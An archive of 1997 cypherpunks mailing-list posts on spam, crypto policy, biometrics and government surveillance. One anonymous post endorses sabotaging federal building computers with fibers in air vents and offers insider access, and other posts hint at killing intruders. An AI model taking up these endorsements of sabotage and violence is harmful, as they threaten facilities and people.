>> >one's thumb while waiting for unwanted email to download could be eased
>> >by an email program which retreived only headers, allowed you to delete
>> >the unwanted ones, and then retrieve the wanted ones, deleting the rest.
>> >  Is this feasible?
>> 
>> Yes it is but will not help much. As seen with the subject lines of the
>> ascii art posted to the list it is quite simple to give a message a
>> subject that would not reveal that it was spam until the entire message
>> was downloaded and opened.

>Misleading spam subject lines are nothing new.  (Just got one today, in
>fact entitled "Aren't you the one who...".) 

>The idea (in the spammers small little brain) is to make the subject
>something that you would want to open and read.  (Why they think I am
>willing to wade through 20+k of marketting drivel is beyond me...) Much
>of these ideas are similar to direct mail marketting campaigns, but
>without the graphical or ethical content.

>The idea behind marketing spam is that people are more willing to buy
>your product if you spit in their face first or attack it to rocks and
>throw it through their windows.

>Now all that needs to happen if for these people to get a connection to
>the clue server and figure out that such actions are not helping them
>any.

>[Clue #1 for Spammers:  If you have to hide the source of your message,
>maybe there is something seriously wrong with how you are delivering it.]
>  


Well the saddest thing of all is that this type of mass marketing works.
:(

It truly is a sorry commentary of the sheeple of this country. If they
didn't make money off this and increase their sales the spam (and all
other blind mass marketing) would disappear.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If you want it done right, forget Microsoft.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 24 May 1997 08:22:30 +0800
To: "Ross Wright" <rwright@adnetsol.com>
Subject: Re: Spam complaints 14 times worse than Spam.
In-Reply-To: <199705231530.IAA24640@adnetsol.adnetsol.com>
Message-ID: <199705240012.TAA05938@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705231530.IAA24640@adnetsol.adnetsol.com>, on 05/23/97 
   at 09:30 AM, "Ross Wright" <rwright@adnetsol.com> said:

>This was from:

>Tasty Bits From The Technology Front

> Your Host:  Keith Dawson

>    This issue: <URL:http://www.tbtf.com/archive/05-22-97.html>

>..Mailing-list spammers..

>    Email spam is the favorite gripe of most Netizens, excepting the
>    spammers. Congress is considering legislation [25] to limit the
>    practice of sending unwanted commercial email in bulk. Not everyone
>    thinks this is a good idea. See [26] for a thread from an ongoing
>    debate on Declan McCullagh's fight-censorship mailing list. George
>    Matyjewicz <mosaic1@ix.netcom.com> did a modest experiment on a
>    week's worth of his email -- he is on 56 mailing lists and gets
>    around 200 messages a day -- to gauge how widespread the problem
>    actually is. Matyjewicz posted these results:

>                        week     avg/day

>      Total messages    1,354    193.4
>      Spam messages        10      1.4     < 1 %
>      Spam complaints     189     27.0      14 %

>    Mailing-list owners share information on the addresses from which
>    commercial spam messages originate. Recently Alexander Verbraeck
>    <A.Verbraeck@duticai.twi.tudelft.nl> posted a particularly compre-
>    hensive list of purported spammers. I have taken the liberty of
>    preserving a snapshot on the TBTF archive [27], sorted both by email
>    address and by "virulence" -- the total number of messages sent by
>    each spammer over a given time period to two of Verbraeck's lists.
>    Thanks to Tom Parmenter <tompar@world.std.com> for the tip.

>    [25] <URL:http://www.news.com/News/Item/0%2C4%2C10875%2C00.html>
>    [26] <URL:http://www.tbtf.com/resource/to-ban-spam.html>
>    [27] <URL:http://www.tbtf.com/resource/spammers.html>

Hi Ross,

With SPAM we have two seperate issues SPAM that shows up in public forums
newsgroups & mailling lists and SPAM that is directly mailed to
individules mail boxes.

SPAM that is posted to public forums is somthing that is hard to do
anything about without draconian measures that I doubt that few would want
to see.

SPAM that is sent directly to users mailboexs is somthing that can be
addressed without extreme measures. Either the Spamfords et al will have
to find a civilized approach to their advertisment or they will all be
gone in a couple of years. The Compuserver vs Cyberpromo lawsuit is only
the first of many. I would imagine that we will see more of these lawsuits
now that Compuserver has won theirs. I am currently receiving 5-10 SPAM
messages per day. Take a medium size ISP with 10,000 customers and you are
looking at 50-100k messages a day tying up resources that are not payed
for by the SPAMers. There is no reason why an ISP should have to support
someone elses advertisment.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The Gates of hell.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 24 May 1997 04:57:27 +0800
To: cypherpunks@cyberpass.net
Subject: AP=MAFIA ?
Message-ID: <199705232040.NAA29081@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



 Italy remembers murdered anti-Mafia judge

   ROME (May 23, 1997 3:43 p.m. EDT) - Italy on Friday mourned the judge
   whose ground-breaking Mafia investigations led to his murder five
   years ago.
   
   On Thursday, prosecutors in Sicily requested life jail terms for more
   than 30 bosses charged with the murder.
   
   Judge Giovanni Falcone, his wife Francesca Morvillo and three
   bodyguards were blown up on May 23, 1992, on a motorway outside the
   Sicilian capital Palermo.
   
   "Institutions and citizens have a duty not to forget," the speaker of
   the Chamber of Deputies (lower house), Luciano Violante, said in an
   anniversary message to the families of the victims.
   
   He called on Italians "to avoid the rhetoric of commemorations (and
   to) work with determination in the fight against the Mafia to defend
   those values of civility and legality" for which Falcone worked.
   
   Crimefighters including FBI director Louis Freeh, in Palermo for a
   memorial service, drove in convoy along the motorway. They stopped to
   pay tribute at the point where explosives packed under the road were
   detonated by remote control as Falcone's car passed.
   
   "We are not just honouring the memory of a single man but of many
   policemen, prosecutors and investigators which he represents," Freeh
   said.
   
   Prosecutors in the central Sicilian city of Caltanissetta requested
   life sentences on Thursday for 32 Mafiosi, including Cosa Nostra's
   jailed boss of bosses Salvatore Riina and some of his key lieutenants,
   who are charged with masterminding the murder.
   
   For Giovanni Brusca, the most senior member of the Mob to be captured
   in the past year, prosecutors sought a 30-year jail term. They cited
   mitigating circumstances since Brusca has admitted using the remote
   control device that triggered the blast.
   
   The trial was halted for five minutes on Friday as a mark of respect.
   The defence is expected to sum up late next month. A verdict is
   expected late this year.
   
   On Friday night thousands of Sicilians gathered for a pop concert held
   in Falcone's memory on an undeveloped tract of land in the city's
   outskirts near a villa where Riina spent part of his 23 years at large
   before his arrest in 1993.
   
   Falcone, a Sicilian, revolutionised Italy's war on the Mafia by
   tracking financial records that revealed the extent of the Mob's
   criminal activities and resources, and by persuading captured Mafioso
   to turn state's evidence.
   
   Testimony from "Men of Honour," who are sworn on pain of death to a
   code of silence or "omerta" when they are initiated into the Mafia,
   gave unprecedented insight into the feared society and led to the
   arrest of Riina and other bosses.
   
   The murder of Falcone, and two months later of his friend and
   colleague Paolo Borsellino in a car-bomb attack, horrified Italy and
   galvanised efforts to crack the Mafia and end the reign of terror
   imposed by Riina and his bloody Corleone clan.
   
   Palermo's chief prosecutor Giancarlo Caselli cautioned on Friday that
   Italy now risked slipping into complacency.
   
   "The Mafia seems to have become a second division problem, or even a
   non-problem, because people think...that police successes in the last
   few years are leading to a definitive solution of the problem.
   
   "That is not so," Caselli said in a radio interview. "The Mafia is
   still an extremely robust and highly dangerous beast."
     _________________________________________________________________
                                      
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    Copyright ) 1997 Nando.net
    Do you have some feedback for the Nando Times staff?

http://www.nando.net/newsroom/ntn/world/052397/world14_3679.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 24 May 1997 02:10:35 +0800
To: cypherpunks@toad.com
Subject: NYC Crypto Forum
Message-ID: <1.5.4.32.19970523174025.0070778c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian taped the Cryptography Forum at the
Association of the Bar of the City of New York
last evening and will share once its transcribed.

In the meantime:

TITLE OF PROGRAM:
Guns, Ammunition and Cryptography: Is the Government's
Policy on Digital Encryption Creating a Crisis?

MODERATOR:
Charles R. Nesson, Professor, Harvard Law School

PANELISTS:

Matt Blaze, Co-author of Risks of Key Recovery paper.
(short-notice invitee)

Lynn McNulty (ex-NIST now RSA) filling in for Jim Bidzos
Scott Charney, Computer Crime Unit, Department of Justice
Kenneth W. Dam, Professor, University of Chicago Law School
Dorothy E. Denning
David J. Farber, University of Pennsylvania
Marc Rotenberg, EPIC

-----

Nesson asked the audience (about a hundred), "How many use 
encryption?" Over half raised hands. "Wow!" he said, "If I asked 
that of a law class at Harvard, maybe two or three hands 
would have been raised."

Nesson then posed to the principal question: "Is the government's
policy on cryptography creating a crisis?"

Dam, Denning and Charney said no. Other panelists said yes.

The audience by show of hands was about evenly split.

There was intense discussion among the panelists but no change 
in position.

Some highlights:

David Kahn, in the audience, reaffirmed his support for
key escrow, stating that it would not change the current
legal provisions for electronically snooping, and why ask 
for more privacy than is now authorized.

Blaze summarized the KR risks paper and pointed out the
enormous expense of designing, implementing, operating
and securing a global key recovery system -- which, as he
ironically smiled, could make cryptographers and crypto-corps 
rich. That such a system might make security weaker by 
offering fewer choice targets to attack -- the key repositories.

Blaze reminded that encryption will become pervasive in
all electronic systems, not just communications. That it must
be robust and untamperable or more and more crucial systems 
will be vulnerable to attack. And, the more complicated the
security provisions the more likely they will fail.

Farber stated that time was being wasted on KR debate while
the nation's infrastructure remained immensely vulnerable to
electronic attack. He said that with six students he could shut
the system down in "a few days, with, say, spoof E-mail to key
administrators." That ITEF is working on a next-generation
system to prevent that, but meanwhile there is great risk.

McNulty reaffirmed industry's position that other countries will
develop robust encryption if the US does not allow export.

Charney responded by pointing out that the administration seeks 
global commitment to key escrow among governments, and asserts 
they will comply for the same reasons the USG wants it. He said, 
for example, that countries may allow development of strong 
crypto but, like the US, will not allow export. He cited Japan's 
refusal to allow NTT's 128-bit export, and said Russia will surely
not allow the export of the Sun/Elvis product. Same for France, 
Germany, and so forth.

There was audience derision when Charney noted that the US must
do as the Russians and Chinese and French do to control crypto.

Interestingly, Charney did not cite The Wassenaar Arrangement, 
although Dam pointed out how difficult it was to reach agreement 
on the COCOM predecessor and enforce compliance with it.

Nesson summarized Charney's position by saying, "do you mean
that key escrow would do no more than help you catch criminals
too stupid to use unescrowed crypto?" Charney nodded, and said
that "nearly all all criminals we catch by electronic surveillance
talk openly about being surveilled but do nothing about to
avoid it."

Nesson reiterated: "Do you mean that you want a system to catch
stupid criminals while the nation's infrastructure is left
vulnerable?" Charney, "That's not the right way to put it."

Denning gave examples of her recent survey of law enforcement
for examples of crypto use to hinder investigations.

Finally, Dam noted that encryption policy was a different task
than implementing encryption systems. That the detailed understanding
of those who follow the encryption debate is not shared by the
public nor by most officials. That agreement upon policy will
require greater education for those who could not care less about
the complications and subtleties being debated.

An auditor queried: There seems to be agreement that encryption 
will work best when it is totally transparent to users, and the 
sooner that is devised the better. Why not just get on with it,?

Blaze shook his head at this cluelessness, howled at the ceiling,
sprouted fur, bared teeth, leaped Dave Farber, went for Charney's
jugular, clawed Denning. Kahn and the suited audience ran screaming 
into the safe streets of Manhattan, while shaggy coders roared,
"Kill, kill, kill the infrastructure-fuckers."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Sat, 24 May 1997 05:31:56 +0800
To: cypherpunks@toad.com
Subject: Re: Key Recovery / The True Story
Message-ID: <199705232059.NAA13536@krypton.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> And some government spook is going to break into a church's computer
> to find out if they are secret terrorists because they oppose this
> or that government policy.

This is an interesting point on which very little serious debate is
taking place:

    Is it EVER okay for spooks to break into a church's computer to
    find out if they are secret terrorists?

I'm not sure the answer is clearly one way or another, and I am
willing to bet that the tone of the answers will mostly be emotional
appeals to some idealistic standard or pessimistic nightmares.

A meta question is whether the answer to a question like this one
above can be answer strictly through a "for all practical purposes it
would never affect me so it does not matter" answer.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com



-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com



-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 05:33:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: V-Chips for the Internet
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <v03102800afabb4cdc0fe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:29 PM -0400 5/22/97, John Young wrote:
>A White House press briefing today describes Clinton's
>plan for providing V-chips for parents to control childrens'
>access to the Internet. Technology is being developed for
>that purpose.
...
>                MS. LEWIS: It's our understanding, and we just checked
>this with people at the White House who know much more about
>technology than all of us put together, that there is in fact technology
>being developed that would serve as the equivalent of a V-chip for the
>Internet, and we think that's what the President referred to.
>
>                Q Clinton has talked before about giving parents ways to
>protect their children on the Internet, but has he ever before suggested
>the idea of a V-chip for the Internet?
>
>                MS. LEWIS:  Not that we know of, but we know -- as is
>clear, I think, from his wording, he is aware that the technology has
>been developing.

There are three main dimensions to this "V-chip for the Internet," just as
there are for the original V-chip for televisions:

1. Technology. Viability of the hardware, including cost, speed, and
ability to be integrated into planned products. (In the case of
televisions, satellite dish receivers, VCRs, etc., the problems are
immense.)

2. Ratings and Standards. Just who will "rate" Internet sites, and is it at
all feasible given the world connectivity we see?

3. Economics. How long will it take before even 5% of the nation's
computers have this V-chip installed? How much will it cost? Who will
bother with it?

(There are lots of other issues to be addressed. I'm unpersuaded that a
hardware version is any more secure than a software version...so why go to
all the expense to have a _hardware_ version of what NetNanny and
LittleBrother and DaddyKnowsBest already do in software? With televisions,
the need for a hardware chip is related to the lack of any CPU and so on...)

Could hardware-based chips be coming? At a recent meeting, John Markoff
asked me if I'd heard anything about Intel's rumored contract to buy 20
million (yes, 20 _million_) keyboards with crypto features built in. I had
not heard this rumor.

(Since then, though, there have been rumblings that Intel is preparing to
offer such keyboards, possibly with "user authentication" features (don't
know what kind). This might, speculating here, be linked with  the Intel-HP
(and maybe Verifone, which HP is buying?) key recovery work. Conceivably, a
plan to sell a large user base (20 million?) on a hardware/keyboard-based
"secure commerce" solution.)

I'm quite skeptical of this sort of thing happening. It will take many
years to propagate such a hardware-based solution.

(By the way, it hardly will satisfy the "legitimate needs of law
enforcement" crowd, as I can't imagine Mobsters, terrorists, and anarchists
like us adopting such a solution.)

The existing base of computers is HUGE, and will persist for many years,
even decades. While a lot of folks are upgrading every couple of years to
the newer and faster Intel processors, an awful lot of machines remain in
use for many years. (This may be true even more so in coming years...the
200 MHz MMX machines now so popular will be blazingly fast for Internet
uses for many years to come...unless one is doing multimedia or serious
number crunching, it is hard to imagine such a machine running out of steam
for routine Net work for years to come.)

In short, I don't see a hardware-based V-chip being at all useful to the
interest of Big Brother. If he is pushing it, let him. There's no way, not
even in Fascist America, that people can be told their machines purchased
in 1997 (or 1998, or whenever this mysterious V-chip begins to be
available) are no longer allowed to be used on the Net.

And, as with the television V-chip, the precise crowd that "most needs"
(from the nanny's point of view) the capabilities are the folks least
likely to upgrade their televisions, VCRs, computers, etc. to the new and
improved V-chip versions.

(And as with the television V-chip, all it takes is a single non-V-chip VCR
to tune in banned programs, or a single "old" 400 MHz Pentium II machine,
tucked away in a closet, to bypass the Internet V-Chip.)

Arggh, it's too stupid an idea for me to have written this article on. Oh
well, it won't be the last such article. Expect this Internet V-Chip to get
a lot of media attention.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dichro@yodel.iinet.net.au (Mikolaj J. Habryn)
Date: Fri, 23 May 1997 14:42:55 +0800
To: decius@ninja.techwood.org (Decius 6i5)
Subject: Re: New Chip Verifies Fingerprints (fwd)
In-Reply-To: <m0wUlwu-00001AC@r42h17.res.gatech.edu>
Message-ID: <m3n2pm4snq.fsf@yodel.iinet.net.au>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> "D6" == Decius 6i5 <decius@ninja.techwood.org> writes:

    D6> If I get mugged and the mugger wants access to my bank account
    D6> all he has to do is chop off the relevant finger. Don't
    D6> laugh. This *WILL* happen.  Biometrics create an general
    D6> economic incentive for maiming or murdering people.

  Not to detract from your philosophical point, but I saw a
demonstration of a similar device over six years ago which not only
sampled the fingerprint pattern, but also the blood vessels beneath
the skin and blood flow patterns. The intent was, obviously, to
increase the difficulty level of creating a synthetic replacement, but
an (incidental?) advantage is that cutting off the finger in question
and presenting it without a blood supply would not work. While it is
still feasible to attach artificial blood pumping mechanisms etc, it
is no longer a $20 equipment budget.

    D6> I will take you one further... *When you implement a biometric
    D6> system you are deciding that the value of that which is being
    D6> protected is greater than the value of the lives of the people
    D6> who have access to it.*

  Once again, this assumes that the biometric system does not require
a living breathing subject to work upon. This is not necessarily a
valid assumption. Whilst the simpler systems may indeed be fooled
(although that is perhaps not the best term) by morbid samples, it is
certainly feasible to require living tissue.

  The remainder of your argument, which I shan't quote, likewise
revolves around the assertion that killing someone will always gain
you the access you desire. This is untrue. If you wish to push this
further, you could add stress analysis features to catch people
operating under coercion, and quick blood sampling to catch those
drugged into placidity who would otherwise be stressed (and
incidentally, any substance abuse that you might be interested in).

    D6> One additional point. The possibilities for surveilance
    D6> inherent in biometrics are fearsome. If I managed to compile a
    D6> large database of people's names, social security numbers, and
    D6> face prints; I could set up a closed circuit camera system in
    D6> my store which would provide me with the name, home address,
    D6> credit, and other information about every person who enters my
    D6> business, AUTOMATICALLY, without the customers even being
    D6> cognisant that this is going on. The marketing people will be
    D6> going nutz over this possibility. I'm going to the drug store
    D6> for some Pepto...

  Now, this /is/ an important concern. However, there's little way
around it. Authentication revolves around, in most cases, a high
assurance of the identity of something. The technique of
authentication is less of a concern than the possibilities of linking
diverse records together into a single database - and that is a more
interesting problem to try to solve.

m.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 24 May 1997 03:03:31 +0800
To: cypherpunks@toad.com
Subject: NYC Crypto Forum Add
Message-ID: <1.5.4.32.19970523183553.00700ecc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


A supplement to the NYC Crypto Forum:

Toward the end Nesson asked, "How about the missing
participant here, NSA?"

Several panelists noted, "NSA's here, in the audience."
(Nonesuch spoke, however.)

Nesson went on to ask, "What about national security
interests outweighing the right to privacy?"

It was here that David Kahn offered his defense of key
recovery.

Farber and others responded that the problem is that
the government is not trusted, that guards against
abuse of power have not worked, that national security
too often has been a cloak for illicit actions.

Here, an audience member said that he worked at Salomon
Brothers doing traffic analysis of vast E-mail, and that we
should be aware that more electronic snooping is going on 
than most people know. How could we be sure that law
enforcement would not similarly abuse systems set up to
catch criminals for other purposes, as NSA allegedly does, 
and, now using the same methodolgies, as private companies 
do to spy on employees, customers and competitors.

All panelists nodded at this, that it's hard to tell god from
the devil, and crypto won't help.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 24 May 1997 06:26:53 +0800
To: Tim May <cypherpunks@algebra.com
Subject: Re: Police & military access
In-Reply-To: <19970522232331.08458@bywater.songbird.com>
Message-ID: <3.0.2.32.19970523151254.008cce40@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:53 AM 5/23/97 -0700, Tim May wrote:
>There is a current case involving a cop who is on the verge of losing his
>ability to be a cop because he pled "nolo contendre" to a domestic abuse
>charge a decade or so ago. The local law says that anyone in this situation
>may not have a gun, period. Thus, now that the law has caught up with him
>(no details on how and why this was not known until recently) he may not
>have a gun and thus may well lose his job.

I'm not familiar with local (Santa Cruz, or whatever) ordinances, but a
federal law saying exactly this was passed last year (the "Lautenberg Act",
which was apparently merged into a spending/budget act signed by Clinton on
10/3/96) - my hunch is that the controversy here is over the effects of the
federal law. The scenario you discussed is being played out in police
departments and sheriff's offices all over the country. Legislation has
been proposed this session (but its passage is uncertain to unlikely) which
would exempt law enforcement officers from the (federal) ban on possession
of weapons by convicted domestic violence offenders. 

>This would seem to support Jim Choate's general position. (Though I have my
>own skepticism that many jurisdictions think it is true.)

Jim Choate's messages about cops and "civil rights" suggest that he's not
familiar with and/or interested in the basics of legal research.
Restrictions (and lack of restrictions) related to use of force, power to
arest, possession/use of weapons, etc., are mostly statutory. You can't
find them (or understand them) by starting with only the Constitution, and
then reasoning and deducing things from it.

>From a moral or political perspective, (e.g., what *should* the
relationship between cops and citizens look like) what he writes is
perfectly reasonable. From a legal perspective (what is the law today?)
it's incomplete and thereby misleading. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 06:50:51 +0800
To: cypherpunks@toad.com
Subject: Spying On and Burgling Churches...is it "Legal"?
In-Reply-To: <199705232059.NAA13536@krypton.chromatic.com>
Message-ID: <v03102800afabc51894d9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:59 PM -0700 5/23/97, Ernest Hua wrote:
>> And some government spook is going to break into a church's computer
>> to find out if they are secret terrorists because they oppose this
>> or that government policy.
>
>This is an interesting point on which very little serious debate is
>taking place:
>
>    Is it EVER okay for spooks to break into a church's computer to
>    find out if they are secret terrorists?

Perhaps there is "little serious debate" on this because the U.S.
Constitution and 200+ years of later history pretty well decided the matter.

Granted, Hoover and his Secret Police were not the first to violate the
Fourth Amendment (or the First, etc.). Granted, the spying on the Catholic
Church with regard to the "Sanctuary Movement" (vis-a-vis the sheltering of
El Salvadoran refugees) was not even the most recent such example.

But there can be little "serious debate" about extra-legal,
unconstitutional spying.

However, Cypherpunks don't believe laws protect privacy.

The proper solution is strong cryptography and related tools. (And possible
private and quiet disposal of anyone caught inside a home, church, etc.,
planting illegal bugs, breaking and entering, etc.)

The real debate these days is whether such privacy tools should be
controlled and licensed by the government. I think the answer is clear.

Oh, and Cypherpunks don't much believe in this debate either. Regardless of
what the herd votes on, or approves out of complacence and ignorance,
Cypherpunks will tend to ignore such decisions.

>I'm not sure the answer is clearly one way or another, and I am
>willing to bet that the tone of the answers will mostly be emotional
>appeals to some idealistic standard or pessimistic nightmares.

I suggest you reread the U.S. Constitution, where the answer to your debate
was pretty clearly resolved. If the government wants to get a search
warrant against a church or any other entity, they can try. Or even a
wiretap (though such things didn't exist at the Founding). But the U.S.
Constitution does not provide for secret police breaking into churches or
homes in the dead of night without court authorization. Period. Legal
scholars are invited to correct me on this one if I am wrong.

(Yes, I'm aware that they do it, and that they can possibly even cite the
Executive Decision authorizing them to break into homes, plant evidence,
kill the residents, whatever. This doesn't make their actions
constitutional, and someday some court is going to have the guts to say so.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark C. Wallace" <mcw@clark.net>
Date: Sat, 24 May 1997 04:06:06 +0800
To: cypherpunks@toad.com
Subject: Reputation Capital
Message-ID: <199705231925.PAA06818@clark.net>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any papers/sources/url's on reputation capital?  [1]

I'm contemplating a project which I think might be similar; don't want
to unecessarily make a fool of myself.


[1] Dejanews and altavista turned up references, but nothing
substantive.  I've RTFM.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 06:47:11 +0800
To: cypherpunks@cyberpass.net
Subject: Timmy and the OKC Actions
In-Reply-To: <199705231756.KAA21831@fat.doobie.com>
Message-ID: <v03102802afabc9a8a74a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:56 AM -0700 5/23/97, Huge Cajones Remailer wrote:
>  It's naieve to assume that Bell was even the target.  World
>gov't/military machines learned their PR lessons in vietnam.
>As a part of a greater plan, it makes sense.
...
>  The US is still reeling from OK City.  Tried as it might, the US gov't
>couldn't find an outside enemy to pin it to.  Whether
>Timmy did it or not is again irrelevant, they needed to find
  ^^^^^^^^^^^^^^^^^^^
>someone to blame and did.  Now that it's the defenses turn, it
...

Hey, I _didn't_ do it. Honest. No fooling. I was more than 30 miles away
when that blast went off, and you can't place me in OKC anytime that
morning.

And my closest contacts with the Elohim City patriots were on a mailing
list Waco whiste-blower Linda Thompson was involved with.

(It's true that I gave some patriots some tips on encrypting, but that's
not a crime. And mostly I just gave them pointers to sites. Ditto for some
enemies of the Zionist Entity, but that's another story.)

--Timothy "not McVeigh" May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 24 May 1997 04:15:46 +0800
To: cypherpunks@toad.com
Subject: Re: The Bell Plan
Message-ID: <199705231935.PAA07649@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

TruthMonger #1 wrote:

> John Young wrote:
> >    The Oregonian, May 20, 1997, Metro Section P-1:
> >       An affidavit says a Vancouver man arrested Friday talked of
> >       sabotaging Portland's 9-1-1 computer and Bull Run water

>   After reading this news article and a variety of posts on the cypherpunks
> list (especially by Tim May and Paul Bradley), I have decided that I cannot
> in good conscious allow Jim Bell's persecution for exercising his basic
> human right to free speech to pass by without taking personal action to
> support him.
>   "Then they came for the CypherPunks, and nobody spoke up..."
>                                        - Jonathan

  Neither can I. Although some on the list claim I live in an ivory
tower while they live in the real world I haven't seen these cowards
coming forward to engage in any meaningful protest of the railroading
of Jim Bell.

>   Accordingly, I am hereby starting a thread on the cypherpunks list
> to discuss "the possibility of putting the fibers down the air vents
> of a federal building" to kill its computers, and the feasability
> of using other methods to accomplish the same end.

  While I can't speak for the effectiveness of this approach, I
would venture that any action of this sort would have a greater
chance of success with the cooperation of a government employee
such as myself who has access to the computers in the target
area. (We are not all government shills.)

>   In keeping with what I see as a cypherpunk frame of mind, I am
> posting this via an anonymous remailer, but I am also digitally
> signing it. I am not hiding my identity, but merely taking
> action to prevent my public statement from being used to unjustly
> persecute me.

  I will do likewise. I am forced to slant my regular posts to the
list to agree with government policy but unlike my detractors I
at least have the courage to take a stance against my employer's
unjust actions and challenge them to prove their case if they
wish to retaliate against me for exercising my right to free speech.

GovernmentMonger


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/DVozQEBR34D/2TzjEn8ING2PNdVB4K0Vy9HcXgKyKf81eACfxhC6J5cBr+MCUIj
7xAbsj2556EBDJKf955Od5xIauPfx7woMb+b7eTJg3lOekar327jSEX1feAfYG+e
yhgPid04U0FdkGpLhqMdc6qSXHCYcnD9RVw27x4np+eE/iiQVzy+SF5eiQCVAwUQ
L8GYbBvasrrONMAdAQFExwP/UK82Y4+Q7E6q+P8RcC4wPcJEx1I5VAmBuBc3eI1T
h+Lw3f4RdJ9eaK6ooip8GQ3SwLOiNRN3Mj0+K/7y+T2smP0wLpcP6IXqs4kO0v0e
QGd2uz6dvtWWb02jMuaG6gyt2SqhJ/hgHzgF22RsqO5Wtk5N/W/oG0f6L3trjNPR
hh8=
=G7R+
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 24 May 1997 06:43:16 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Accounts payable
In-Reply-To: <199705231713.TAA03178@basement.replay.com>
Message-ID: <Pine.A41.3.95.970523161707.62928C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 23 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C[reep] May's reheated, refurbished, and regurgitated cud is 
> completely inappropriate for the mailing lists into which it is 
> cross-ruminated.
> 
>     ' ' ' ' 
